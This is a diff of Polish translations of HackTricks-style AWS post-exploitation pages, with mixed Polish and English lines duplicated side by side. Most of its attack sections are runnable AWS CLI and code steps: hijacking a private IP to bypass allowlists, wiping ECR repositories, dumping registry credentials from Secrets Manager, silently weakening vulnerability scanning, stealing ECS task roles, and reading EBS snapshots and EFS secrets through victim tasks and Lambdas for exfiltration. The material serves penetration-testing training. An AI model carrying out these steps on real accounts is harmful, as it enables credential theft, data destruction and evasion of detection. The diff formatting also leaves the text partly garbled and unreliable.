||||
```bash
|
||||
curl -sS --max-time 3 http://$PROTECTED_HOST || true
|
||||
```
|
||||
4) Usuń przypisanie secondary IP z victim ENI
|
||||
4) Usuń przypisanie drugiego adresu IP z ENI ofiary
|
||||
```bash
|
||||
aws ec2 unassign-private-ip-addresses --network-interface-id $VICTIM_ENI --private-ip-addresses $HIJACK_IP --region $REGION
|
||||
```
|
||||
@@ -37,14 +37,15 @@ aws ec2 unassign-private-ip-addresses --network-interface-id $VICTIM_ENI --pri
|
||||
```bash
|
||||
aws ec2 assign-private-ip-addresses --network-interface-id $ATTACKER_ENI --private-ip-addresses $HIJACK_IP --region $REGION
|
||||
```
|
||||
6) Zweryfikuj, że własność została przeniesiona
|
||||
6) Zweryfikuj przeniesienie własności
|
||||
```bash
|
||||
aws ec2 describe-network-interfaces --network-interface-ids $ATTACKER_ENI --region $REGION --query NetworkInterfaces[0].PrivateIpAddresses[].PrivateIpAddress --output text | grep -w $HIJACK_IP
|
||||
```
|
||||
7) Z attacker instance wykonaj source-bind do hijacked IP, aby dostać się do protected host (upewnij się, że hijacked IP jest skonfigurowany w OS; jeśli nie, dodaj go za pomocą `ip addr add $HIJACK_IP/<mask> dev eth0`)
|
||||
Z instancji atakującej wykonaj source-bind na przejęte IP, aby dotrzeć do chronionego hosta (upewnij się, że IP jest skonfigurowane w systemie operacyjnym; jeśli nie, dodaj je za pomocą `ip addr add $HIJACK_IP/<mask> dev eth0`)
|
||||
```bash
|
||||
curl --interface $HIJACK_IP -sS http://$PROTECTED_HOST -o /tmp/poc.out && head -c 80 /tmp/poc.out
|
||||
```
|
||||
## Wpływ
|
||||
- Omijanie IP allowlists i podszywanie się pod zaufane hosty wewnątrz VPC poprzez przenoszenie secondary private IPs między ENIs w tym samym subnet/AZ.
|
||||
- Dostęp do wewnętrznych usług, które ograniczają dostęp według konkretnych source IPs, umożliwiając lateral movement i dostęp do danych.
|
||||
- Obejście IP allowlists i podszywanie się pod zaufane hosty wewnątrz VPC przez przenoszenie drugorzędnych prywatnych adresów IP między ENIs w tym samym subnet/AZ.
|
||||
- Dostęp do wewnętrznych usług, które ograniczają dostęp na podstawie konkretnych source IPs, umożliwiając lateral movement i dostęp do danych.
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
+23
-25
@@ -47,7 +47,7 @@ aws ecr get-download-url-for-layer \
|
||||
--registry-id 653711331788 \
|
||||
--layer-digest "sha256:edfaad38ac10904ee76c81e343abf88f22e6cfc7413ab5a8e4aeffc6a7d9087a"
|
||||
```
|
||||
Po pobraniu obrazów powinieneś **sprawdzić je pod kątem wrażliwych informacji**:
|
||||
Po pobraniu obrazów należy **sprawdzić je pod kątem informacji wrażliwych**:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html
|
||||
@@ -55,7 +55,7 @@ https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forens
|
||||
|
||||
### `ecr:PutLifecyclePolicy` | `ecr:DeleteRepository` | `ecr-public:DeleteRepository` | `ecr:BatchDeleteImage` | `ecr-public:BatchDeleteImage`
|
||||
|
||||
Atakujący posiadający którąkolwiek z tych uprawnień może **utworzyć lub zmodyfikować politykę cyklu życia, aby usunąć wszystkie obrazy w repozytorium** i następnie **usunąć całe repozytorium ECR**. Spowodowałoby to utratę wszystkich obrazów kontenerów przechowywanych w repozytorium.
|
||||
Atakujący posiadający którąkolwiek z tych uprawnień może **utworzyć lub zmodyfikować politykę cyklu życia w celu usunięcia wszystkich obrazów w repozytorium** i następnie **usunąć całe repozytorium ECR**. Spowoduje to utratę wszystkich obrazów kontenerów przechowywanych w repozytorium.
|
||||
```bash
|
||||
# Create a JSON file with the malicious lifecycle policy
|
||||
echo '{
|
||||
@@ -90,23 +90,21 @@ aws ecr batch-delete-image --repository-name your-ecr-repo-name --image-ids imag
|
||||
# Delete multiple images from the ECR public repository
|
||||
aws ecr-public batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0
|
||||
```
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
### Eksfiltracja poświadczeń rejestru upstream z ECR Pull‑Through Cache (PTC)
|
||||
|
||||
### Exfiltrate poświadczenia rejestru upstream z ECR Pull‑Through Cache (PTC)
|
||||
|
||||
Jeżeli ECR Pull‑Through Cache jest skonfigurowany dla uwierzytelnionych upstream registries (Docker Hub, GHCR, ACR itp.), poświadczenia upstream są przechowywane w AWS Secrets Manager z przewidywalnym prefiksem nazwy: `ecr-pullthroughcache/`. Operatorzy czasami przyznają administratorom ECR szeroki dostęp do odczytu w Secrets Manager, co umożliwia credential exfiltration i ponowne użycie poza AWS.
|
||||
Jeżeli ECR Pull‑Through Cache jest skonfigurowany dla uwierzytelnionych rejestrów upstream (Docker Hub, GHCR, ACR itd.), poświadczenia upstream są przechowywane w AWS Secrets Manager z przewidywalnym prefiksem nazwy: `ecr-pullthroughcache/`. Operatorzy czasami przyznają administratorom ECR szeroki dostęp do odczytu Secrets Manager, co umożliwia eksfiltrację poświadczeń i ich ponowne wykorzystanie poza AWS.
|
||||
|
||||
Wymagania
|
||||
- secretsmanager:ListSecrets
|
||||
- secretsmanager:GetSecretValue
|
||||
|
||||
Wypisz potencjalne sekrety PTC
|
||||
Wyenumeruj potencjalne sekrety PTC
|
||||
```bash
|
||||
aws secretsmanager list-secrets \
|
||||
--query "SecretList[?starts_with(Name, 'ecr-pullthroughcache/')].Name" \
|
||||
--output text
|
||||
```
|
||||
Zrzucanie wykrytych sekretów i parsowanie typowych pól
|
||||
Dump znalezionych sekretów i parsuj wspólne pola
|
||||
```bash
|
||||
for s in $(aws secretsmanager list-secrets \
|
||||
--query "SecretList[?starts_with(Name, 'ecr-pullthroughcache/')].ARN" --output text); do
|
||||
@@ -116,25 +114,25 @@ jq -r '.username? // .user? // empty' /tmp/ptc_secret.json || true
|
||||
jq -r '.password? // .token? // empty' /tmp/ptc_secret.json || true
|
||||
done
|
||||
```
|
||||
Opcjonalnie: zweryfikuj leaked creds względem upstream (logowanie tylko do odczytu)
|
||||
Opcjonalnie: zweryfikuj leaked creds względem upstream (read‑only login)
|
||||
```bash
|
||||
echo "$DOCKERHUB_PASSWORD" | docker login --username "$DOCKERHUB_USERNAME" --password-stdin registry-1.docker.io
|
||||
```
|
||||
Wpływ
|
||||
- Odczytanie tych wpisów Secrets Manager daje możliwe do ponownego użycia dane uwierzytelniające do upstream registry (username/password lub token), które można wykorzystać poza AWS do pobierania prywatnych obrazów lub uzyskania dostępu do dodatkowych repozytoriów, w zależności od uprawnień upstream.
|
||||
Impact
|
||||
- Odczytanie tych wpisów Secrets Manager ujawnia nadające się do ponownego użycia poświadczenia rejestru upstream (username/password lub token), które mogą być nadużyte poza AWS do pobierania prywatnych obrazów lub dostępu do dodatkowych repozytoriów w zależności od uprawnień upstream.
|
||||
|
||||
|
||||
### Maskowanie na poziomie rejestru: wyłącz lub obniż skanowanie za pomocą `ecr:PutRegistryScanningConfiguration`
|
||||
### Ukrywanie na poziomie rejestru: wyłączenie lub obniżenie skanowania za pomocą `ecr:PutRegistryScanningConfiguration`
|
||||
|
||||
Atakujący z uprawnieniami ECR na poziomie rejestru może cicho zmniejszyć lub wyłączyć automatyczne skanowanie podatności dla wszystkich repozytoriów, ustawiając konfigurację skanowania rejestru na BASIC bez żadnych reguł scan-on-push. Powoduje to, że nowe przesyłane obrazy nie są skanowane automatycznie, co ukrywa podatne lub złośliwe obrazy.
|
||||
Atakujący posiadający uprawnienia ECR na poziomie rejestru może po cichu zmniejszyć lub wyłączyć automatyczne skanowanie podatności dla WSZYSTKICH repozytoriów, ustawiając konfigurację skanowania rejestru na BASIC bez żadnych reguł scan-on-push. Powoduje to, że nowe push'e obrazów nie będą automatycznie skanowane, ukrywając obrazy podatne lub złośliwe.
|
||||
|
||||
Wymagania
|
||||
Requirements
|
||||
- ecr:PutRegistryScanningConfiguration
|
||||
- ecr:GetRegistryScanningConfiguration
|
||||
- ecr:PutImageScanningConfiguration (opcjonalne, per‑repo)
|
||||
- ecr:DescribeImages, ecr:DescribeImageScanFindings (weryfikacja)
|
||||
- ecr:PutImageScanningConfiguration (optional, per‑repo)
|
||||
- ecr:DescribeImages, ecr:DescribeImageScanFindings (verification)
|
||||
|
||||
Obniżenie poziomu rejestru do ręcznego (brak automatycznych skanów)
|
||||
Registry-wide downgrade to manual (no auto scans)
|
||||
```bash
|
||||
REGION=us-east-1
|
||||
# Read current config (save to restore later)
|
||||
@@ -146,7 +144,7 @@ aws ecr put-registry-scanning-configuration \
|
||||
--scan-type BASIC \
|
||||
--rules '[]'
|
||||
```
|
||||
Test z repozytorium i obrazem
|
||||
Test z repo i image
|
||||
```bash
|
||||
acct=$(aws sts get-caller-identity --query Account --output text)
|
||||
repo=ht-scan-stealth
|
||||
@@ -161,7 +159,7 @@ aws ecr describe-images --region "$REGION" --repository-name "$repo" --image-ids
|
||||
# Optional: will error with ScanNotFoundException if no scan exists
|
||||
aws ecr describe-image-scan-findings --region "$REGION" --repository-name "$repo" --image-id imageTag=test || true
|
||||
```
|
||||
Opcjonalnie: dalsze obniżenie uprawnień na poziomie repozytorium
|
||||
Opcjonalnie: dalsze obniżenie na poziomie repozytorium
|
||||
```bash
|
||||
# Disable scan-on-push for a specific repository
|
||||
aws ecr put-image-scanning-configuration \
|
||||
@@ -170,19 +168,19 @@ aws ecr put-image-scanning-configuration \
|
||||
--image-scanning-configuration scanOnPush=false
|
||||
```
|
||||
Wpływ
|
||||
- Nowo dodane obrazy w rejestrze nie są skanowane automatycznie, co ogranicza widoczność podatnych lub złośliwych treści i opóźnia wykrycie do momentu uruchomienia skanu ręcznego.
|
||||
- Nowe wypchnięcia obrazów w całym rejestrze nie są automatycznie skanowane, co zmniejsza widoczność podatnych lub złośliwych treści i opóźnia wykrycie do momentu ręcznego uruchomienia skanu.
|
||||
|
||||
|
||||
### Obniżenie jakości silnika skanowania dla całego rejestru za pomocą `ecr:PutAccountSetting` (AWS_NATIVE -> CLAIR)
|
||||
### Obniżenie wersji silnika skanowania dla całego rejestru przez `ecr:PutAccountSetting` (AWS_NATIVE -> CLAIR)
|
||||
|
||||
Zmniejsz wykrywalność podatności w całym rejestrze, przełączając silnik skanowania BASIC z domyślnego AWS_NATIVE na przestarzały silnik CLAIR. To nie wyłącza skanowania, ale może znacząco zmienić wyniki/zakres wykrywania. Połącz to z konfiguracją skanowania rejestru BASIC bez reguł, aby uczynić skany wyłącznie ręcznymi.
|
||||
Zmniejsz wykrywalność podatności w całym rejestrze, przełączając silnik skanowania BASIC z domyślnego AWS_NATIVE na przestarzały silnik CLAIR. To nie wyłącza skanowania, ale może istotnie zmienić wyniki/zakres. Połącz to z konfiguracją skanowania rejestru BASIC bez reguł, aby uczynić skany wyłącznie ręcznymi.
|
||||
|
||||
Wymagania
|
||||
- `ecr:PutAccountSetting`, `ecr:GetAccountSetting`
|
||||
- (Opcjonalne) `ecr:PutRegistryScanningConfiguration`, `ecr:GetRegistryScanningConfiguration`
|
||||
- (Opcjonalnie) `ecr:PutRegistryScanningConfiguration`, `ecr:GetRegistryScanningConfiguration`
|
||||
|
||||
Wpływ
|
||||
- Ustawienie rejestru `BASIC_SCAN_TYPE_VERSION` na `CLAIR`, więc kolejne skany BASIC będą uruchamiane przy użyciu obniżonego silnika. CloudTrail rejestruje wywołanie API `PutAccountSetting`.
|
||||
- Ustawienie rejestru `BASIC_SCAN_TYPE_VERSION` na `CLAIR`, dzięki czemu kolejne skany BASIC będą uruchamiane z obniżonym silnikiem. CloudTrail zapisuje wywołanie API `PutAccountSetting`.
|
||||
|
||||
Kroki
|
||||
```bash
|
||||
@@ -203,4 +201,4 @@ aws ecr put-registry-scanning-configuration --region $REGION --scan-type BASIC -
|
||||
# 5) Restore to AWS_NATIVE when finished to avoid side effects
|
||||
aws ecr put-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION --value AWS_NATIVE
|
||||
```
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
+19
-21
@@ -4,7 +4,7 @@
|
||||
|
||||
## ECS
|
||||
|
||||
Aby uzyskać więcej informacji, zobacz:
|
||||
Więcej informacji sprawdź:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-ecs-enum.md
|
||||
@@ -12,33 +12,33 @@ Aby uzyskać więcej informacji, zobacz:
|
||||
|
||||
### Host IAM Roles
|
||||
|
||||
W ECS można przypisać **IAM role do task** uruchomionego wewnątrz kontenera. **Jeżeli** task jest uruchamiany na instancji **EC2**, sama **instancja EC2** będzie miała przypisaną **inną rolę IAM**.\
|
||||
Oznacza to, że jeśli uda Ci się **skompromisować** instancję ECS, potencjalnie możesz **uzyskać rolę IAM związaną z ECR oraz z instancją EC2**. Aby dowiedzieć się więcej o tym, jak zdobyć te poświadczenia, zobacz:
|
||||
W ECS **IAM role can be assigned to the task** uruchomionego wewnątrz kontenera. **If** zadanie jest uruchamiane wewnątrz instancji **EC2**, to sama **EC2 instance** będzie miała przypisaną **kolejną IAM** rolę.\
|
||||
To oznacza, że jeśli uda Ci się **compromise** instancję ECS, możesz potencjalnie **obtain the IAM role associated to the ECR and to the EC2 instance**. Po więcej informacji o tym, jak zdobyć te poświadczenia, sprawdź:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html
|
||||
{{#endref}}
|
||||
|
||||
> [!CAUTION]
|
||||
> Zwróć uwagę, że jeśli instancja EC2 wymusza IMDSv2, [**zgodnie z dokumentacją**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), **response of the PUT request** będzie miała **hop limit of 1**, co uniemożliwia dostęp do metadanych EC2 z kontenera działającego wewnątrz instancji EC2.
|
||||
> Zauważ, że jeśli instancja EC2 wymusza IMDSv2, [**according to the docs**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), the **response of the PUT request** będzie miała **hop limit of 1**, co uniemożliwia dostęp do EC2 metadata z kontenera znajdującego się wewnątrz instancji EC2.
|
||||
|
||||
### Privesc to node to steal other containers creds & secrets
|
||||
|
||||
Ponadto EC2 używa docker do uruchamiania ECS tasks, więc jeśli uda Ci się uciec na node lub **uzyskać dostęp do docker socket**, możesz **sprawdzić**, które **inne containers** są uruchomione, a nawet **wejść do nich** i **ukraść przypisane do nich role IAM**.
|
||||
Co więcej, EC2 używa docker do uruchamiania ECS tasks, więc jeśli uda Ci się uciec na node lub **access the docker socket**, możesz **check** które **inne kontenery** są uruchomione, a nawet **wejść do nich** i **steal their IAM roles**.
|
||||
|
||||
#### Making containers run in current host
|
||||
|
||||
Co więcej, **EC2 instance role** zazwyczaj ma wystarczające **permissions**, aby **update the container instance state** instancji EC2 używanych jako node'y w klastrze. Atakujący może zmodyfikować **state of an instance to DRAINING**, wtedy ECS **usunie z niej wszystkie tasks**, a te uruchamiane jako **REPLICA** zostaną **uruchomione na innej instancji**, potencjalnie na instancji **atakującego**, dzięki czemu będzie mógł **ukraść ich IAM roles** oraz ewentualne wrażliwe informacje z wnętrza kontenera.
|
||||
Dodatkowo, **EC2 instance role** zwykle ma wystarczające **permissions** aby **update the container instance state** instancji EC2 używanych jako node'y w klastrze. Atakujący może zmodyfikować **state of an instance to DRAINING**, wtedy ECS **remove all the tasks from it**, a te uruchamiane jako **REPLICA** zostaną **run in a different instance,** potencjalnie wewnątrz **attackers instance**, dzięki czemu może on **steal their IAM roles** oraz ewentualne wrażliwe informacje znajdujące się w kontenerze.
|
||||
```bash
|
||||
aws ecs update-container-instances-state \
|
||||
--cluster <cluster> --status DRAINING --container-instances <container-instance-id>
|
||||
```
|
||||
Ta sama technika może być wykonana przez **wyrejestrowanie instancji EC2 z klastra**. Jest to potencjalnie mniej dyskretne, ale spowoduje, że **zadania zostaną uruchomione na innych instancjach:**
|
||||
Ta sama technika może być wykonana przez **wyrejestrowanie instancji EC2 z klastra**. Jest to potencjalnie mniej dyskretne, ale to **wymusi uruchomienie zadań na innych instancjach:**
|
||||
```bash
|
||||
aws ecs deregister-container-instance \
|
||||
--cluster <cluster> --container-instance <container-instance-id> --force
|
||||
```
|
||||
Ostateczną techniką wymuszającą ponowne uruchomienie zadań jest poinformowanie ECS, że **zadanie lub kontener zostały zatrzymane**. Istnieją 3 potencjalne API, aby to zrobić:
|
||||
Ostatnią techniką zmuszenia do ponownego uruchomienia zadań jest poinformowanie ECS, że **task or container was stopped**. Istnieją 3 potencjalne API, które to umożliwiają:
|
||||
```bash
|
||||
# Needs: ecs:SubmitTaskStateChange
|
||||
aws ecs submit-task-state-change --cluster <value> \
|
||||
@@ -52,25 +52,23 @@ aws ecs submit-attachment-state-changes ...
|
||||
```
|
||||
### Wykradanie wrażliwych informacji z kontenerów ECR
|
||||
|
||||
Instancja EC2 prawdopodobnie będzie również miała uprawnienie `ecr:GetAuthorizationToken`, pozwalające jej **pobrać obrazy** (możesz w nich wyszukać wrażliwe informacje).
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
Instancja EC2 prawdopodobnie będzie też miała uprawnienie `ecr:GetAuthorizationToken`, co pozwala na **pobieranie obrazów** (możesz w nich szukać poufnych informacji).
|
||||
|
||||
|
||||
|
||||
### Zamontuj snapshot EBS bezpośrednio w zadaniu ECS (configuredAtLaunch + volumeConfigurations)
|
||||
|
||||
Nadużyj natywnej integracji ECS z EBS (2024+), aby zamontować zawartość istniejącego snapshotu EBS bezpośrednio w nowym zadaniu/usłudze ECS i odczytać jego dane z wnętrza kontenera.
|
||||
Wykorzystaj natywną integrację ECS z EBS (2024+) aby zamontować zawartość istniejącego EBS snapshot bezpośrednio w nowym zadaniu/usłudze ECS i odczytać jego dane z wnętrza kontenera.
|
||||
|
||||
- Wymagane (minimum):
|
||||
- Wymagania (minimum):
|
||||
- ecs:RegisterTaskDefinition
|
||||
- Jedno z: ecs:RunTask OR ecs:CreateService/ecs:UpdateService
|
||||
- iam:PassRole na:
|
||||
- Rola infrastruktury ECS używana dla wolumenów (policy: `service-role/AmazonECSInfrastructureRolePolicyForVolumes`)
|
||||
- Task execution/Task roles referenced by the task definition
|
||||
- Jeśli snapshot jest zaszyfrowany za pomocą CMK: uprawnienia KMS dla roli infrastruktury (zarządzana polityka AWS powyżej zawiera wymagane przyznania KMS dla kluczy zarządzanych przez AWS).
|
||||
- roli infrastruktury ECS używanej do obsługi woluminów (polityka: `service-role/AmazonECSInfrastructureRolePolicyForVolumes`)
|
||||
- rolach Task execution/Task referencjonowanych w definicji zadania
|
||||
- Jeśli snapshot jest zaszyfrowany kluczem CMK: uprawnienia KMS dla roli infra (wspomniana powyżej zarządzana polityka AWS zawiera wymagane uprawnienia KMS dla kluczy zarządzanych przez AWS).
|
||||
|
||||
- Skutek: Odczyt dowolnej zawartości dysku ze snapshotu (np. pliki bazy danych) wewnątrz kontenera i exfiltrate przez sieć/logi.
|
||||
- Wpływ: Odczyt dowolnej zawartości dysku ze snapshotu (np. pliki bazy danych) wewnątrz kontenera i eksfiltracja przez sieć/logi.
|
||||
|
||||
Kroki (przykład Fargate):
|
||||
|
||||
@@ -81,7 +79,7 @@ aws iam create-role --role-name ecsInfrastructureRole \
|
||||
aws iam attach-role-policy --role-name ecsInfrastructureRole \
|
||||
--policy-arn arn:aws:iam::aws:policy/service-role/AmazonECSInfrastructureRolePolicyForVolumes
|
||||
```
|
||||
2) Zarejestruj task definition z volume oznaczonym `configuredAtLaunch` i zamontuj go w containerze. Przykład (prints the secret then sleeps):
|
||||
2) Zarejestruj definicję zadania z woluminem oznaczonym `configuredAtLaunch` i zamontuj go w kontenerze. Przykład (wypisuje secret, a następnie usypia):
|
||||
```json
|
||||
{
|
||||
"family": "ht-ebs-read",
|
||||
@@ -101,7 +99,7 @@ aws iam attach-role-policy --role-name ecsInfrastructureRole \
|
||||
"volumes": [ {"name":"loot", "configuredAtLaunch": true} ]
|
||||
}
|
||||
```
|
||||
3) Utwórz lub zaktualizuj usługę, przekazując EBS snapshot przez `volumeConfigurations.managedEBSVolume` (wymaga iam:PassRole na infra role). Przykład:
|
||||
3) Utwórz lub zaktualizuj usługę, przekazując EBS snapshot za pomocą `volumeConfigurations.managedEBSVolume` (wymaga iam:PassRole na roli infra). Przykład:
|
||||
```json
|
||||
{
|
||||
"cluster": "ht-ecs-ebs",
|
||||
@@ -115,7 +113,7 @@ aws iam attach-role-policy --role-name ecsInfrastructureRole \
|
||||
]
|
||||
}
|
||||
```
|
||||
4) Gdy zadanie się uruchomi, kontener może odczytać zawartość snapshotu pod skonfigurowaną ścieżką montowania (np. `/loot`). Exfiltrate przez sieć/logi zadania.
|
||||
4) Gdy zadanie się uruchomi, kontener może odczytać zawartość snapshotu pod skonfigurowaną ścieżką montowania (np. `/loot`). Eksfiltruj przez sieć/logi zadania.
|
||||
|
||||
Czyszczenie:
|
||||
```bash
|
||||
@@ -123,4 +121,4 @@ aws ecs update-service --cluster ht-ecs-ebs --service ht-ebs-svc --desired-count
|
||||
aws ecs delete-service --cluster ht-ecs-ebs --service ht-ebs-svc --force
|
||||
aws ecs deregister-task-definition ht-ebs-read
|
||||
```
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
+10
-7
@@ -1,16 +1,18 @@
|
||||
# AWS Lambda – EFS Mount Injection via UpdateFunctionConfiguration (Kradzież danych)
|
||||
|
||||
Abuse `lambda:UpdateFunctionConfiguration` to attach an existing EFS Access Point to a Lambda, then deploy trivial code that lists/reads files from the mounted path to exfiltrate shared secrets/config that the function previously couldn’t access.
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Nadużyj `lambda:UpdateFunctionConfiguration`, aby dołączyć istniejący EFS Access Point do funkcji Lambda, a następnie wdroż prosty kod, który listuje/odczytuje pliki z zamontowanej ścieżki, aby wyeksfiltrować współdzielone sekrety/konfiguracje, do których funkcja wcześniej nie miała dostępu.
|
||||
|
||||
## Wymagania
|
||||
- Uprawnienia na koncie / dla principala ofiary:
|
||||
- Uprawnienia na koncie/principalu ofiary:
|
||||
- `lambda:GetFunctionConfiguration`
|
||||
- `lambda:ListFunctions` (to find functions)
|
||||
- `lambda:UpdateFunctionConfiguration`
|
||||
- `lambda:UpdateFunctionCode`
|
||||
- `lambda:InvokeFunction`
|
||||
- `efs:DescribeMountTargets` (to confirm mount targets exist)
|
||||
- Założenia dotyczące środowiska:
|
||||
- Założenia środowiska:
|
||||
- Target Lambda is VPC-enabled and its subnets/SGs can reach the EFS mount target SG over TCP/2049 (e.g. role has AWSLambdaVPCAccessExecutionRole and VPC routing allows it).
|
||||
- The EFS Access Point is in the same VPC and has mount targets in the AZs of the Lambda subnets.
|
||||
|
||||
@@ -30,7 +32,7 @@ aws lambda update-function-configuration \
|
||||
# wait until LastUpdateStatus == Successful
|
||||
until [ "$(aws lambda get-function-configuration --function-name $TARGET_FN --query LastUpdateStatus --output text --region $REGION)" = "Successful" ]; do sleep 2; done
|
||||
```
|
||||
2) Podmień code na prosty reader, który wylistuje pliki i podejrzy pierwsze 200 bajtów potencjalnego secret/config file
|
||||
2) Zastąp code prostym czytnikiem, który wypisuje pliki i odczytuje pierwsze 200 bajtów potencjalnego pliku secret/config
|
||||
```
|
||||
cat > reader.py <<PY
|
||||
import os, json
|
||||
@@ -62,13 +64,14 @@ until [ "$(aws lambda get-function-configuration --function-name $TARGET_FN --qu
|
||||
aws lambda invoke --function-name $TARGET_FN /tmp/efs-out.json --region $REGION >/dev/null
|
||||
cat /tmp/efs-out.json
|
||||
```
|
||||
Wyjście powinno zawierać listing katalogu pod /mnt/ht oraz krótki podgląd wybranego pliku secret/config z EFS.
|
||||
Wyjście powinno zawierać listing katalogu pod /mnt/ht oraz krótki podgląd wybranego secret/config file z EFS.
|
||||
|
||||
## Wpływ
|
||||
Atakujący posiadający wymienione uprawnienia może zamontować dowolne in-VPC EFS Access Points wewnątrz funkcji Lambda ofiary, aby odczytać i exfiltrate współdzielone konfiguracje oraz secrets przechowywane na EFS, które wcześniej były dla tej funkcji niedostępne.
|
||||
|
||||
Atakujący posiadający wymienione uprawnienia może zamontować dowolne in‑VPC EFS Access Points w funkcjach Lambda ofiary, aby odczytać i exfiltrate współdzieloną konfigurację oraz secrets przechowywane na EFS, które wcześniej były dla tej funkcji niedostępne.
|
||||
|
||||
## Czyszczenie
|
||||
```
|
||||
aws lambda update-function-configuration --function-name $TARGET_FN --file-system-configs [] --region $REGION || true
|
||||
```
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
+11
-9
@@ -1,10 +1,12 @@
|
||||
# AWS - Lambda Function URL — publiczne wystawienie (AuthType NONE + Public Invoke Policy)
|
||||
# AWS - Lambda Function URL Public Exposure (AuthType NONE + Public Invoke Policy)
|
||||
|
||||
Zamień prywatny Lambda Function URL w publiczny, nieuwierzytelniony endpoint przez przełączenie AuthType Function URL na NONE i dołączenie polityki opartej na zasobie, która przyznaje lambda:InvokeFunctionUrl wszystkim. To umożliwia anonimowe wywoływanie wewnętrznych funkcji i może ujawnić wrażliwe operacje backendu.
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Wykorzystanie
|
||||
Zamień prywatny Lambda Function URL w publiczny, nieautoryzowany punkt końcowy, przełączając Function URL AuthType na NONE i dołączając politykę zasobową, która przyznaje lambda:InvokeFunctionUrl wszystkim. To umożliwia anonimowe wywoływanie wewnętrznych funkcji i może ujawnić wrażliwe operacje backendowe.
|
||||
|
||||
- Wymagania wstępne: lambda:UpdateFunctionUrlConfig, lambda:CreateFunctionUrlConfig, lambda:AddPermission
|
||||
## Wykorzystywanie
|
||||
|
||||
- Pre-reqs: lambda:UpdateFunctionUrlConfig, lambda:CreateFunctionUrlConfig, lambda:AddPermission
|
||||
- Region: us-east-1
|
||||
|
||||
### Kroki
|
||||
@@ -18,7 +20,7 @@ aws lambda create-function-url-config --function-name $TARGET_FN --auth-type AWS
|
||||
aws lambda update-function-url-config --function-name $TARGET_FN --auth-type NONE
|
||||
```
|
||||
|
||||
3) Dodaj politykę opartą na zasobie, aby umożliwić dostęp nieautoryzowanym podmiotom:
|
||||
3) Dodaj politykę zasobową zezwalającą nieuwierzytelnionym podmiotom:
|
||||
```
|
||||
aws lambda add-permission --function-name $TARGET_FN --statement-id ht-public-url --action lambda:InvokeFunctionUrl --principal "*" --function-url-auth-type NONE
|
||||
```
|
||||
@@ -29,10 +31,10 @@ URL=$(aws lambda get-function-url-config --function-name $TARGET_FN --query Func
|
||||
curl -sS "$URL"
|
||||
```
|
||||
|
||||
### Wpływ
|
||||
- Funkcja Lambda staje się dostępna anonimowo przez internet.
|
||||
### Skutki
|
||||
- Funkcja Lambda staje się anonimowo dostępna w internecie.
|
||||
|
||||
### Przykładowe wyjście (bez uwierzytelnienia — 200)
|
||||
### Przykładowe wyjście (unauthenticated 200)
|
||||
```
|
||||
HTTP 200
|
||||
https://e3d4wrnzem45bhdq2mfm3qgde40rjjfc.lambda-url.us-east-1.on.aws/
|
||||
@@ -43,4 +45,4 @@ https://e3d4wrnzem45bhdq2mfm3qgde40rjjfc.lambda-url.us-east-1.on.aws/
|
||||
aws lambda remove-permission --function-name $TARGET_FN --statement-id ht-public-url || true
|
||||
aws lambda update-function-url-config --function-name $TARGET_FN --auth-type AWS_IAM || true
|
||||
```
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
+9
-5
@@ -1,12 +1,16 @@
|
||||
# AWS Lambda – Runtime Pinning/Rollback Abuse via PutRuntimeManagementConfig
|
||||
|
||||
Nadużyj `lambda:PutRuntimeManagementConfig`, aby przypiąć funkcję do konkretnej wersji runtime (Manual) lub zamrozić aktualizacje (FunctionUpdate). Pozwala to zachować kompatybilność ze złośliwymi warstwami/wrapperami i może utrzymać funkcję na przestarzałym, podatnym runtime, co ułatwia exploitację i długotrwałe utrzymywanie dostępu.
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Nadużyj `lambda:PutRuntimeManagementConfig`, aby przypiąć funkcję do konkretnej wersji runtimu (Manual) lub zablokować aktualizacje (FunctionUpdate). To zachowuje kompatybilność ze złośliwymi warstwami/wrapperami i może utrzymać funkcję na przestarzałym, podatnym runtimie, ułatwiając eksploatację i długotrwałe utrzymanie dostępu.
|
||||
|
||||
Wymagania: `lambda:InvokeFunction`, `logs:FilterLogEvents`, `lambda:PutRuntimeManagementConfig`, `lambda:GetRuntimeManagementConfig`.
|
||||
|
||||
Przykład (us-east-1):
|
||||
- Wywołanie: `aws lambda invoke --function-name /tmp/ping.json --payload {} --region us-east-1 > /dev/null; sleep 5`
|
||||
- Zamrożenie aktualizacji: `aws lambda put-runtime-management-config --function-name --update-runtime-on FunctionUpdate --region us-east-1`
|
||||
- Weryfikacja: `aws lambda get-runtime-management-config --function-name --region us-east-1`
|
||||
- Invoke: `aws lambda invoke --function-name /tmp/ping.json --payload {} --region us-east-1 > /dev/null; sleep 5`
|
||||
- Freeze updates: `aws lambda put-runtime-management-config --function-name --update-runtime-on FunctionUpdate --region us-east-1`
|
||||
- Verify: `aws lambda get-runtime-management-config --function-name --region us-east-1`
|
||||
|
||||
Opcjonalnie przypnij do konkretnej wersji runtime, wyciągając Runtime Version ARN z logów INIT_START i używając `--update-runtime-on Manual --runtime-version-arn <arn>`.
|
||||
Opcjonalnie przypnij do konkretnej wersji runtime, wyodrębniając Runtime Version ARN z logów INIT_START i używając `--update-runtime-on Manual --runtime-version-arn <arn>`.
|
||||
|
||||
